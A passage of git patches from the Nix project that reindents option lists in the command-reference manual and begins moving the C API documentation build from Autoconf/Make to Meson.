+  Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits.
 
-  - `--type` *hashAlgo*
+- `--type` *hashAlgo*
 
-    Use the specified cryptographic hash algorithm, which can be one of
-    `md5`, `sha1`, `sha256`, and `sha512`.
+  Use the specified cryptographic hash algorithm, which can be one of
+  `md5`, `sha1`, `sha256`, and `sha512`.
 
-  - `--to-base16`
+- `--to-base16`
 
-    Don’t hash anything, but convert the base-32 hash representation
-    *hash* to hexadecimal.
+  Don’t hash anything, but convert the base-32 hash representation
+  *hash* to hexadecimal.
 
-  - `--to-base32`
+- `--to-base32`
 
-    Don’t hash anything, but convert the hexadecimal hash representation
-    *hash* to base-32.
+  Don’t hash anything, but convert the hexadecimal hash representation
+  *hash* to base-32.
 
-  - `--to-base64`
+- `--to-base64`
 
-    Don’t hash anything, but convert the hexadecimal hash representation
-    *hash* to base-64.
+  Don’t hash anything, but convert the hexadecimal hash representation
+  *hash* to base-64.
 
-  - `--to-sri`
+- `--to-sri`
 
-    Don’t hash anything, but convert the hexadecimal hash representation
-    *hash* to SRI.
+  Don’t hash anything, but convert the hexadecimal hash representation
+  *hash* to SRI.
 
 # Examples
 
diff --git a/doc/manual/src/command-ref/nix-instantiate.md b/doc/manual/src/command-ref/nix-instantiate.md
index 554784b63ea..6f6fcdc1f66 100644
--- a/doc/manual/src/command-ref/nix-instantiate.md
+++ b/doc/manual/src/command-ref/nix-instantiate.md
@@ -30,97 +30,97 @@ standard input.
 
 # Options
 
-  - `--add-root` *path*
-
-    See the [corresponding option](nix-store.md) in `nix-store`.
-
-  - `--parse`
-
-    Just parse the input files, and print their abstract syntax trees on
-    standard output as a Nix expression.
-
-  - `--eval`
-
-    Just parse and evaluate the input files, and print the resulting
-    values on standard output. No instantiation of store derivations
-    takes place.
-
-    > **Warning**
-    >
-    > This option produces output which can be parsed as a Nix expression which
-    > will produce a different result than the input expression when evaluated.
-    > For example, these two Nix expressions print the same result despite
-    > having different meaning:
-    >
-    > ```console
-    > $ nix-instantiate --eval --expr '{ a = {}; }'
-    > { a = <CODE>; }
-    > $ nix-instantiate --eval --expr '{ a = <CODE>; }'
-    > { a = <CODE>; }
-    > ```
-    >
-    > For human-readable output, `nix eval` (experimental) is more informative:
-    >
-    > ```console
-    > $ nix-instantiate --eval --expr 'a: a'
-    > <LAMBDA>
-    > $ nix eval --expr 'a: a'
-    > «lambda @ «string»:1:1»
-    > ```
-    >
-    > For machine-readable output, the `--xml` option produces unambiguous
-    > output:
-    >
-    > ```console
-    > $ nix-instantiate --eval --xml --expr '{ foo = <CODE>; }'
-    > <?xml version='1.0' encoding='utf-8'?>
-    > <expr>
-    >   <attrs>
-    >     <attr column="3" line="1" name="foo">
-    >       <unevaluated />
-    >     </attr>
-    >   </attrs>
-    > </expr>
-    > ```
-
-  - `--find-file`
-
-    Look up the given files in Nix’s search path (as specified by the
-    `NIX_PATH` environment variable). If found, print the corresponding
-    absolute paths on standard output. For instance, if `NIX_PATH` is
-    `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file
-    nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`.
-
-  - `--strict`
-
-    When used with `--eval`, recursively evaluate list elements and
-    attributes. Normally, such sub-expressions are left unevaluated
-    (since the Nix language is lazy).
-
-    > **Warning**
-    >
-    > This option can cause non-termination, because lazy data
-    > structures can be infinitely large.
-
-  - `--json`
-
-    When used with `--eval`, print the resulting value as an JSON
-    representation of the abstract syntax tree rather than as a Nix expression.
-
-  - `--xml`
-
-    When used with `--eval`, print the resulting value as an XML
-    representation of the abstract syntax tree rather than as a Nix expression.
-    The schema is the same as that used by the [`toXML`
-    built-in](../language/builtins.md).
-
-  - `--read-write-mode`
-
-    When used with `--eval`, perform evaluation in read/write mode so
-    nix language features that require it will still work (at the cost
-    of needing to do instantiation of every evaluated derivation). If
-    this option is not enabled, there may be uninstantiated store paths
-    in the final output.
+- `--add-root` *path*
+
+  See the [corresponding option](nix-store.md) in `nix-store`.
+
+- `--parse`
+
+  Just parse the input files, and print their abstract syntax trees on
+  standard output as a Nix expression.
+
+- `--eval`
+
+  Just parse and evaluate the input files, and print the resulting
+  values on standard output. No instantiation of store derivations
+  takes place.
+
+  > **Warning**
+  >
+  > This option produces output which can be parsed as a Nix expression which
+  > will produce a different result than the input expression when evaluated.
+  > For example, these two Nix expressions print the same result despite
+  > having different meaning:
+  >
+  > ```console
+  > $ nix-instantiate --eval --expr '{ a = {}; }'
+  > { a = <CODE>; }
+  > $ nix-instantiate --eval --expr '{ a = <CODE>; }'
+  > { a = <CODE>; }
+  > ```
+  >
+  > For human-readable output, `nix eval` (experimental) is more informative:
+  >
+  > ```console
+  > $ nix-instantiate --eval --expr 'a: a'
+  > <LAMBDA>
+  > $ nix eval --expr 'a: a'
+  > «lambda @ «string»:1:1»
+  > ```
+  >
+  > For machine-readable output, the `--xml` option produces unambiguous
+  > output:
+  >
+  > ```console
+  > $ nix-instantiate --eval --xml --expr '{ foo = <CODE>; }'
+  > <?xml version='1.0' encoding='utf-8'?>
+  > <expr>
+  >   <attrs>
+  >     <attr column="3" line="1" name="foo">
+  >       <unevaluated />
+  >     </attr>
+  >   </attrs>
+  > </expr>
+  > ```
+
+- `--find-file`
+
+  Look up the given files in Nix’s search path (as specified by the
+  `NIX_PATH` environment variable). If found, print the corresponding
+  absolute paths on standard output. For instance, if `NIX_PATH` is
+  `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file
+  nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`.
+
+- `--strict`
+
+  When used with `--eval`, recursively evaluate list elements and
+  attributes. Normally, such sub-expressions are left unevaluated
+  (since the Nix language is lazy).
+
+  > **Warning**
+  >
+  > This option can cause non-termination, because lazy data
+  > structures can be infinitely large.
+
+- `--json`
+
+  When used with `--eval`, print the resulting value as an JSON
+  representation of the abstract syntax tree rather than as a Nix expression.
+
+- `--xml`
+
+  When used with `--eval`, print the resulting value as an XML
+  representation of the abstract syntax tree rather than as a Nix expression.
+  The schema is the same as that used by the [`toXML`
+  built-in](../language/builtins.md).
+
+- `--read-write-mode`
+
+  When used with `--eval`, perform evaluation in read/write mode so
+  nix language features that require it will still work (at the cost
+  of needing to do instantiation of every evaluated derivation). If
+  this option is not enabled, there may be uninstantiated store paths
+  in the final output.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-prefetch-url.md b/doc/manual/src/command-ref/nix-prefetch-url.md
index 30973811398..ffab94b8afa 100644
--- a/doc/manual/src/command-ref/nix-prefetch-url.md
+++ b/doc/manual/src/command-ref/nix-prefetch-url.md
@@ -39,32 +39,32 @@ the path of the downloaded file in the Nix store is also printed.
 
 # Options
 
-  - `--type` *hashAlgo*
+- `--type` *hashAlgo*
 
-    Use the specified cryptographic hash algorithm,
-    which can be one of `md5`, `sha1`, `sha256`, and `sha512`.
-    The default is `sha256`.
+  Use the specified cryptographic hash algorithm,
+  which can be one of `md5`, `sha1`, `sha256`, and `sha512`.
+  The default is `sha256`.
 
-  - `--print-path`
+- `--print-path`
 
-    Print the store path of the downloaded file on standard output.
+  Print the store path of the downloaded file on standard output.
 
-  - `--unpack`
+- `--unpack`
 
-    Unpack the archive (which must be a tarball or zip file) and add the
-    result to the Nix store. The resulting hash can be used with
-    functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`.
+  Unpack the archive (which must be a tarball or zip file) and add the
+  result to the Nix store. The resulting hash can be used with
+  functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`.
 
-  - `--executable`
+- `--executable`
 
-    Set the executable bit on the downloaded file.
+  Set the executable bit on the downloaded file.
 
-  - `--name` *name*
+- `--name` *name*
 
-    Override the name of the file in the Nix store. By default, this is
-    `hash-basename`, where *basename* is the last component of *url*.
-    Overriding the name is necessary when *basename* contains characters
-    that are not allowed in Nix store paths.
+  Override the name of the file in the Nix store. By default, this is
+  `hash-basename`, where *basename* is the last component of *url*.
+  Overriding the name is necessary when *basename* contains characters
+  that are not allowed in Nix store paths.
 
 # Examples
 
diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md
index 16b270de745..ddec30f5b3e 100644
--- a/doc/manual/src/command-ref/nix-shell.md
+++ b/doc/manual/src/command-ref/nix-shell.md
@@ -60,63 +60,63 @@ All options not listed here are passed to `nix-store
 --realise`, except for `--arg` and `--attr` / `-A` which are passed to
 `nix-instantiate`.
 
-  - `--command` *cmd*
+- `--command` *cmd*
 
-    In the environment of the derivation, run the shell command *cmd*.
-    This command is executed in an interactive shell. (Use `--run` to
-    use a non-interactive shell instead.) However, a call to `exit` is
-    implicitly added to the command, so the shell will exit after
-    running the command. To prevent this, add `return` at the end;
-    e.g.  `--command "echo Hello; return"` will print `Hello` and then
-    drop you into the interactive shell. This can be useful for doing
-    any additional initialisation.
+  In the environment of the derivation, run the shell command *cmd*.
+  This command is executed in an interactive shell. (Use `--run` to
+  use a non-interactive shell instead.) However, a call to `exit` is
+  implicitly added to the command, so the shell will exit after
+  running the command. To prevent this, add `return` at the end;
+  e.g.  `--command "echo Hello; return"` will print `Hello` and then
+  drop you into the interactive shell. This can be useful for doing
+  any additional initialisation.
 
-  - `--run` *cmd*
+- `--run` *cmd*
 
-    Like `--command`, but executes the command in a non-interactive
-    shell. This means (among other things) that if you hit Ctrl-C while
-    the command is running, the shell exits.
+  Like `--command`, but executes the command in a non-interactive
+  shell. This means (among other things) that if you hit Ctrl-C while
+  the command is running, the shell exits.
 
-  - `--exclude` *regexp*
+- `--exclude` *regexp*
 
-    Do not build any dependencies whose store path matches the regular
-    expression *regexp*. This option may be specified multiple times.
+  Do not build any dependencies whose store path matches the regular
+  expression *regexp*. This option may be specified multiple times.
 
-  - `--pure`
+- `--pure`
 
-    If this flag is specified, the environment is almost entirely
-    cleared before the interactive shell is started, so you get an
-    environment that more closely corresponds to the “real” Nix build. A
-    few variables, in particular `HOME`, `USER` and `DISPLAY`, are
-    retained.
+  If this flag is specified, the environment is almost entirely
+  cleared before the interactive shell is started, so you get an
+  environment that more closely corresponds to the “real” Nix build. A
+  few variables, in particular `HOME`, `USER` and `DISPLAY`, are
+  retained.
 
-  - `--packages` / `-p` *packages*…
+- `--packages` / `-p` *packages*…
 
-    Set up an environment in which the specified packages are present.
-    The command line arguments are interpreted as attribute names inside
-    the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk`
-    will start a shell in which the packages denoted by the attribute
-    names `libjpeg` and `openjdk` are present.
+  Set up an environment in which the specified packages are present.
+  The command line arguments are interpreted as attribute names inside
+  the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk`
+  will start a shell in which the packages denoted by the attribute
+  names `libjpeg` and `openjdk` are present.
 
-  - `-i` *interpreter*
+- `-i` *interpreter*
 
-    The chained script interpreter to be invoked by `nix-shell`. Only
-    applicable in `#!`-scripts (described below).
+  The chained script interpreter to be invoked by `nix-shell`. Only
+  applicable in `#!`-scripts (described below).
 
-  - `--keep` *name*
+- `--keep` *name*
 
-    When a `--pure` shell is started, keep the listed environment
-    variables.
+  When a `--pure` shell is started, keep the listed environment
+  variables.
 
 {{#include ./opt-common.md}}
 
 # Environment variables
 
-  - `NIX_BUILD_SHELL`
+- `NIX_BUILD_SHELL`
 
-    Shell used to start the interactive environment. Defaults to the
-    `bash` found in `<nixpkgs>`, falling back to the `bash` found in
-    `PATH` if not found.
+  Shell used to start the interactive environment. Defaults to the
+  `bash` found in `<nixpkgs>`, falling back to the `bash` found in
+  `PATH` if not found.
 
 {{#include ./env-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-store/add-fixed.md b/doc/manual/src/command-ref/nix-store/add-fixed.md
index 3de25194c22..bebf15026a6 100644
--- a/doc/manual/src/command-ref/nix-store/add-fixed.md
+++ b/doc/manual/src/command-ref/nix-store/add-fixed.md
@@ -16,10 +16,10 @@ public url or broke since the download expression was written.
 
 This operation has the following options:
 
-  - `--recursive`
+- `--recursive`
 
-    Use recursive instead of flat hashing mode, used when adding
-    directories to the store.
+  Use recursive instead of flat hashing mode, used when adding
+  directories to the store.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-store/gc.md b/doc/manual/src/command-ref/nix-store/gc.md
index 07fd452ceb6..f432e00eb96 100644
--- a/doc/manual/src/command-ref/nix-store/gc.md
+++ b/doc/manual/src/command-ref/nix-store/gc.md
@@ -14,34 +14,34 @@ reachable via file system references from a set of “roots”, are deleted.
 
 The following suboperations may be specified:
 
-  - `--print-roots`
+- `--print-roots`
 
-    This operation prints on standard output the set of roots used by
-    the garbage collector.
+  This operation prints on standard output the set of roots used by
+  the garbage collector.
 
-  - `--print-live`
+- `--print-live`
 
-    This operation prints on standard output the set of “live” store
-    paths, which are all the store paths reachable from the roots. Live
-    paths should never be deleted, since that would break consistency —
-    it would become possible that applications are installed that
-    reference things that are no longer present in the store.
+  This operation prints on standard output the set of “live” store
+  paths, which are all the store paths reachable from the roots. Live
+  paths should never be deleted, since that would break consistency —
+  it would become possible that applications are installed that
+  reference things that are no longer present in the store.
 
-  - `--print-dead`
+- `--print-dead`
 
-    This operation prints out on standard output the set of “dead” store
-    paths, which is just the opposite of the set of live paths: any path
-    in the store that is not live (with respect to the roots) is dead.
+  This operation prints out on standard output the set of “dead” store
+  paths, which is just the opposite of the set of live paths: any path
+  in the store that is not live (with respect to the roots) is dead.
 
 By default, all unreachable paths are deleted. The following options
 control what gets deleted and in what order:
 
-  - `--max-freed` *bytes*
+- `--max-freed` *bytes*
 
-    Keep deleting paths until at least *bytes* bytes have been deleted,
-    then stop. The argument *bytes* can be followed by the
-    multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB
-    or TiB units.
+  Keep deleting paths until at least *bytes* bytes have been deleted,
+  then stop. The argument *bytes* can be followed by the
+  multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB
+  or TiB units.
 
 The behaviour of the collector is also influenced by the
 `keep-outputs` and `keep-derivations` settings in the Nix
diff --git a/doc/manual/src/command-ref/nix-store/query.md b/doc/manual/src/command-ref/nix-store/query.md
index a703b002bba..b4efa734e78 100644
--- a/doc/manual/src/command-ref/nix-store/query.md
+++ b/doc/manual/src/command-ref/nix-store/query.md
@@ -24,138 +24,138 @@ symlink.
 
 # Common query options
 
-  - `--use-output` / `-u`
+- `--use-output` / `-u`
 
-    For each argument to the query that is a [store derivation], apply the
-    query to the output path of the derivation instead.
+  For each argument to the query that is a [store derivation], apply the
+  query to the output path of the derivation instead.
 
-  - `--force-realise` / `-f`
+- `--force-realise` / `-f`
 
-    Realise each argument to the query first (see [`nix-store --realise`](./realise.md)).
+  Realise each argument to the query first (see [`nix-store --realise`](./realise.md)).
 
 [store derivation]: @docroot@/glossary.md#gloss-store-derivation
 
 # Queries
 
-  - `--outputs`
+- `--outputs`
 
-    Prints out the [output paths] of the store
-    derivations *paths*. These are the paths that will be produced when
-    the derivation is built.
+  Prints out the [output paths] of the store
+  derivations *paths*. These are the paths that will be produced when
+  the derivation is built.
 
-    [output paths]: @docroot@/glossary.md#gloss-output-path
+  [output paths]: @docroot@/glossary.md#gloss-output-path
 
-  - `--requisites` / `-R`
+- `--requisites` / `-R`
 
-    Prints out the [closure] of the store path *paths*.
+  Prints out the [closure] of the store path *paths*.
 
-    [closure]: @docroot@/glossary.md#gloss-closure
+  [closure]: @docroot@/glossary.md#gloss-closure
 
-    This query has one option:
+  This query has one option:
 
-      - `--include-outputs`
-        Also include the existing output paths of [store derivation]s,
-        and their closures.
+    - `--include-outputs`
+      Also include the existing output paths of [store derivation]s,
+      and their closures.
 
-    This query can be used to implement various kinds of deployment. A
-    *source deployment* is obtained by distributing the closure of a
-    store derivation. A *binary deployment* is obtained by distributing
-    the closure of an output path. A *cache deployment* (combined
-    source/binary deployment, including binaries of build-time-only
-    dependencies) is obtained by distributing the closure of a store
-    derivation and specifying the option `--include-outputs`.
+  This query can be used to implement various kinds of deployment. A
+  *source deployment* is obtained by distributing the closure of a
+  store derivation. A *binary deployment* is obtained by distributing
+  the closure of an output path. A *cache deployment* (combined
+  source/binary deployment, including binaries of build-time-only
+  dependencies) is obtained by distributing the closure of a store
+  derivation and specifying the option `--include-outputs`.
 
-  - `--references`
+- `--references`
 
-    Prints the set of [references] of the store paths
-    *paths*, that is, their immediate dependencies. (For *all*
-    dependencies, use `--requisites`.)
+  Prints the set of [references] of the store paths
+  *paths*, that is, their immediate dependencies. (For *all*
+  dependencies, use `--requisites`.)
 
-    [references]: @docroot@/glossary.md#gloss-reference
+  [references]: @docroot@/glossary.md#gloss-reference
 
-  - `--referrers`
+- `--referrers`
 
-    Prints the set of *referrers* of the store paths *paths*, that is,
-    the store paths currently existing in the Nix store that refer to
-    one of *paths*. Note that contrary to the references, the set of
-    referrers is not constant; it can change as store paths are added or
-    removed.
+  Prints the set of *referrers* of the store paths *paths*, that is,
+  the store paths currently existing in the Nix store that refer to
+  one of *paths*. Note that contrary to the references, the set of
+  referrers is not constant; it can change as store paths are added or
+  removed.
 
-  - `--referrers-closure`
+- `--referrers-closure`
 
-    Prints the closure of the set of store paths *paths* under the
-    referrers relation; that is, all store paths that directly or
-    indirectly refer to one of *paths*. These are all the path currently
-    in the Nix store that are dependent on *paths*.
+  Prints the closure of the set of store paths *paths* under the
+  referrers relation; that is, all store paths that directly or
+  indirectly refer to one of *paths*. These are all the path currently
+  in the Nix store that are dependent on *paths*.
 
-  - `--deriver` / `-d`
+- `--deriver` / `-d`
 
-    Prints the [deriver] that was used to build the store paths *paths*. If
-    the path has no deriver (e.g., if it is a source file), or if the
-    deriver is not known (e.g., in the case of a binary-only
-    deployment), the string `unknown-deriver` is printed.
-    The returned deriver is not guaranteed to exist in the local store, for
-    example when *paths* were substituted from a binary cache.
-    Use `--valid-derivers` instead to obtain valid paths only.
+  Prints the [deriver] that was used to build the store paths *paths*. If
+  the path has no deriver (e.g., if it is a source file), or if the
+  deriver is not known (e.g., in the case of a binary-only
+  deployment), the string `unknown-deriver` is printed.
+  The returned deriver is not guaranteed to exist in the local store, for
+  example when *paths* were substituted from a binary cache.
+  Use `--valid-derivers` instead to obtain valid paths only.
 
-    [deriver]: @docroot@/glossary.md#gloss-deriver
+  [deriver]: @docroot@/glossary.md#gloss-deriver
 
-  - `--valid-derivers`
+- `--valid-derivers`
 
-    Prints a set of derivation files (`.drv`) which are supposed produce
-    said paths when realized. Might print nothing, for example for source paths
-    or paths subsituted from a binary cache.
+  Prints a set of derivation files (`.drv`) which are supposed produce
+  said paths when realized. Might print nothing, for example for source paths
+  or paths subsituted from a binary cache.
 
-  - `--graph`
+- `--graph`
 
-    Prints the references graph of the store paths *paths* in the format
-    of the `dot` tool of AT\&T's [Graphviz
-    package](http://www.graphviz.org/). This can be used to visualise
-    dependency graphs. To obtain a build-time dependency graph, apply
-    this to a store derivation. To obtain a runtime dependency graph,
-    apply it to an output path.
+  Prints the references graph of the store paths *paths* in the format
+  of the `dot` tool of AT\&T's [Graphviz
+  package](http://www.graphviz.org/). This can be used to visualise
+  dependency graphs. To obtain a build-time dependency graph, apply
+  this to a store derivation. To obtain a runtime dependency graph,
+  apply it to an output path.
 
-  - `--tree`
+- `--tree`
 
-    Prints the references graph of the store paths *paths* as a nested
-    ASCII tree. References are ordered by descending closure size; this
-    tends to flatten the tree, making it more readable. The query only
-    recurses into a store path when it is first encountered; this
-    prevents a blowup of the tree representation of the graph.
+  Prints the references graph of the store paths *paths* as a nested
+  ASCII tree. References are ordered by descending closure size; this
+  tends to flatten the tree, making it more readable. The query only
+  recurses into a store path when it is first encountered; this
+  prevents a blowup of the tree representation of the graph.
 
-  - `--graphml`
+- `--graphml`
 
-    Prints the references graph of the store paths *paths* in the
-    [GraphML](http://graphml.graphdrawing.org/) file format. This can be
-    used to visualise dependency graphs. To obtain a build-time
-    dependency graph, apply this to a [store derivation]. To obtain a
-    runtime dependency graph, apply it to an output path.
+  Prints the references graph of the store paths *paths* in the
+  [GraphML](http://graphml.graphdrawing.org/) file format. This can be
+  used to visualise dependency graphs. To obtain a build-time
+  dependency graph, apply this to a [store derivation]. To obtain a
+  runtime dependency graph, apply it to an output path.
 
-  - `--binding` *name* / `-b` *name*
+- `--binding` *name* / `-b` *name*
 
-    Prints the value of the attribute *name* (i.e., environment
-    variable) of the [store derivation]s *paths*. It is an error for a
-    derivation to not have the specified attribute.
+  Prints the value of the attribute *name* (i.e., environment
+  variable) of the [store derivation]s *paths*. It is an error for a
+  derivation to not have the specified attribute.
 
-  - `--hash`
+- `--hash`
 
-    Prints the SHA-256 hash of the contents of the store paths *paths*
-    (that is, the hash of the output of `nix-store --dump` on the given
-    paths). Since the hash is stored in the Nix database, this is a fast
-    operation.
+  Prints the SHA-256 hash of the contents of the store paths *paths*
+  (that is, the hash of the output of `nix-store --dump` on the given
+  paths). Since the hash is stored in the Nix database, this is a fast
+  operation.
 
-  - `--size`
+- `--size`
 
-    Prints the size in bytes of the contents of the store paths *paths*
-    — to be precise, the size of the output of `nix-store --dump` on
-    the given paths. Note that the actual disk space required by the
-    store paths may be higher, especially on filesystems with large
-    cluster sizes.
+  Prints the size in bytes of the contents of the store paths *paths*
+  — to be precise, the size of the output of `nix-store --dump` on
+  the given paths. Note that the actual disk space required by the
+  store paths may be higher, especially on filesystems with large
+  cluster sizes.
 
-  - `--roots`
+- `--roots`
 
-    Prints the garbage collector roots that point, directly or
-    indirectly, at the store paths *paths*.
+  Prints the garbage collector roots that point, directly or
+  indirectly, at the store paths *paths*.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md
index 6288b24e08e..e30b351a416 100644
--- a/doc/manual/src/command-ref/nix-store/realise.md
+++ b/doc/manual/src/command-ref/nix-store/realise.md
@@ -42,26 +42,26 @@ For non-derivation arguments, the argument itself is printed.
 
 # Options
 
-  - `--dry-run`
+- `--dry-run`
 
-    Print on standard error a description of what packages would be
-    built or downloaded, without actually performing the operation.
+  Print on standard error a description of what packages would be
+  built or downloaded, without actually performing the operation.
 
-  - `--ignore-unknown`
+- `--ignore-unknown`
 
-    If a non-derivation path does not have a substitute, then silently
-    ignore it.
+  If a non-derivation path does not have a substitute, then silently
+  ignore it.
 
-  - `--check`
+- `--check`
 
-    This option allows you to check whether a derivation is
-    deterministic. It rebuilds the specified derivation and checks
-    whether the result is bitwise-identical with the existing outputs,
-    printing an error if that’s not the case. The outputs of the
-    specified derivation must already exist. When used with `-K`, if an
-    output path is not identical to the corresponding output from the
-    previous build, the new output path is left in
-    `/nix/store/name.check.`
+  This option allows you to check whether a derivation is
+  deterministic. It rebuilds the specified derivation and checks
+  whether the result is bitwise-identical with the existing outputs,
+  printing an error if that’s not the case. The outputs of the
+  specified derivation must already exist. When used with `-K`, if an
+  output path is not identical to the corresponding output from the
+  previous build, the new output path is left in
+  `/nix/store/name.check.`
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-store/serve.md b/doc/manual/src/command-ref/nix-store/serve.md
index dd9b93fbfa9..9a4cf521620 100644
--- a/doc/manual/src/command-ref/nix-store/serve.md
+++ b/doc/manual/src/command-ref/nix-store/serve.md
@@ -14,11 +14,11 @@ access to a restricted ssh user.
 
 The following flags are available:
 
-  - `--write`
+- `--write`
 
-    Allow the connected client to request the realization of
-    derivations. In effect, this can be used to make the host act as a
-    remote builder.
+  Allow the connected client to request the realization of
+  derivations. In effect, this can be used to make the host act as a
+  remote builder.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-store/verify.md b/doc/manual/src/command-ref/nix-store/verify.md
index 1b1b6f5298b..40c9180dbc9 100644
--- a/doc/manual/src/command-ref/nix-store/verify.md
+++ b/doc/manual/src/command-ref/nix-store/verify.md
@@ -16,20 +16,20 @@ being modified by non-Nix tools, or of bugs in Nix itself.
 
 This operation has the following options:
 
-  - `--check-contents`
+- `--check-contents`
 
-    Checks that the contents of every valid store path has not been
-    altered by computing a SHA-256 hash of the contents and comparing it
-    with the hash stored in the Nix database at build time. Paths that
-    have been modified are printed out. For large stores,
-    `--check-contents` is obviously quite slow.
+  Checks that the contents of every valid store path has not been
+  altered by computing a SHA-256 hash of the contents and comparing it
+  with the hash stored in the Nix database at build time. Paths that
+  have been modified are printed out. For large stores,
+  `--check-contents` is obviously quite slow.
 
-  - `--repair`
+- `--repair`
 
-    If any valid path is missing from the store, or (if
-    `--check-contents` is given) the contents of a valid path has been
-    modified, then try to repair the path by redownloading it. See
-    `nix-store --repair-path` for details.
+  If any valid path is missing from the store, or (if
+  `--check-contents` is given) the contents of a valid path has been
+  modified, then try to repair the path by redownloading it. See
+  `nix-store --repair-path` for details.
 
 {{#include ./opt-common.md}}
 

From 1c131ec2b71fa7ad6fd285ed2a9fcc4cf616b3a6 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 19 Jun 2024 22:43:54 +0200
Subject: [PATCH 375/528] Port C API docs to Meson (#10936)

* Port C API docs to Meson

* don't cross-compile the docs
---
 Makefile                                      | 11 ----
 Makefile.config.in                            |  1 -
 configure.ac                                  |  9 ---
 doc/external-api/local.mk                     |  7 --
 doc/manual/src/contributing/documentation.md  | 10 +--
 flake.nix                                     | 14 +++-
 maintainers/hydra.nix                         |  6 +-
 meson.build                                   |  1 +
 package.nix                                   | 25 +------
 .../external-api-docs}/.gitignore             |  0
 src/external-api-docs/.version                |  1 +
 .../external-api-docs}/README.md              |  0
 .../external-api-docs}/doxygen.cfg.in         | 13 ++--
 src/external-api-docs/meson.build             | 31 +++++++++
 src/external-api-docs/package.nix             | 65 +++++++++++++++++++
 src/internal-api-docs/package.nix             |  5 ++
 16 files changed, 131 insertions(+), 68 deletions(-)
 delete mode 100644 doc/external-api/local.mk
 rename {doc/external-api => src/external-api-docs}/.gitignore (100%)
 create mode 120000 src/external-api-docs/.version
 rename {doc/external-api => src/external-api-docs}/README.md (100%)
 rename {doc/external-api => src/external-api-docs}/doxygen.cfg.in (91%)
 create mode 100644 src/external-api-docs/meson.build
 create mode 100644 src/external-api-docs/package.nix

diff --git a/Makefile b/Makefile
index 25756002820..227aaf6d931 100644
--- a/Makefile
+++ b/Makefile
@@ -68,10 +68,6 @@ ifeq ($(ENABLE_DOC_GEN), yes)
 makefiles-late += doc/manual/local.mk
 endif
 
-ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes)
-makefiles-late += doc/external-api/local.mk
-endif
-
 # Miscellaneous global Flags
 
 OPTIMIZE = 1
@@ -127,10 +123,3 @@ manual-html manpages:
 	@echo "Generated docs are disabled. Configure without '--disable-doc-gen', or avoid calling 'make manpages' and 'make manual-html'."
 	@exit 1
 endif
-
-ifneq ($(ENABLE_EXTERNAL_API_DOCS), yes)
-.PHONY: external-api-html
-external-api-html:
-	@echo "External API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'."
-	@exit 1
-endif
diff --git a/Makefile.config.in b/Makefile.config.in
index 56e67e5cdfa..3100d207365 100644
--- a/Makefile.config.in
+++ b/Makefile.config.in
@@ -11,7 +11,6 @@ EDITLINE_LIBS = @EDITLINE_LIBS@
 ENABLE_BUILD = @ENABLE_BUILD@
 ENABLE_DOC_GEN = @ENABLE_DOC_GEN@
 ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@
-ENABLE_EXTERNAL_API_DOCS = @ENABLE_EXTERNAL_API_DOCS@
 ENABLE_S3 = @ENABLE_S3@
 ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@
 GTEST_LIBS = @GTEST_LIBS@
diff --git a/configure.ac b/configure.ac
index 2fefbe95aaa..2b5cd115fb6 100644
--- a/configure.ac
+++ b/configure.ac
@@ -149,11 +149,6 @@ AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build th
   ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD)
 AC_SUBST(ENABLE_UNIT_TESTS)
 
-# Build external API docs by default
-AC_ARG_ENABLE(external_api_docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's C interface]),
-  external_api_docs=$enableval, external_api_docs=yes)
-AC_SUBST(external_api_docs)
-
 AS_IF(
   [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"],
   [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])])
@@ -171,10 +166,6 @@ AS_IF(
   [test "$ENABLE_BUILD" == "no" && test "$ENABLE_DOC_GEN" == "yes"],
   [AC_MSG_ERROR([Cannot enable generated docs when building overall is disabled. Please do not pass '--enable-doc-gen' or do not pass '--disable-build'.])])
 
-AC_ARG_ENABLE(external-api-docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's external unstable C interfaces]),
-  ENABLE_EXTERNAL_API_DOCS=$enableval, ENABLE_EXTERNAL_API_DOCS=no)
-AC_SUBST(ENABLE_EXTERNAL_API_DOCS)
-
 AS_IF(
   [test "$ENABLE_FUNCTIONAL_TESTS" == "yes" || test "$ENABLE_DOC_GEN" == "yes"],
   [NEED_PROG(jq, jq)])
diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk
deleted file mode 100644
index ae2b44db8f0..00000000000
--- a/doc/external-api/local.mk
+++ /dev/null
@@ -1,7 +0,0 @@
-$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg src/lib*-c/*.h
-	mkdir -p $(docdir)/external-api
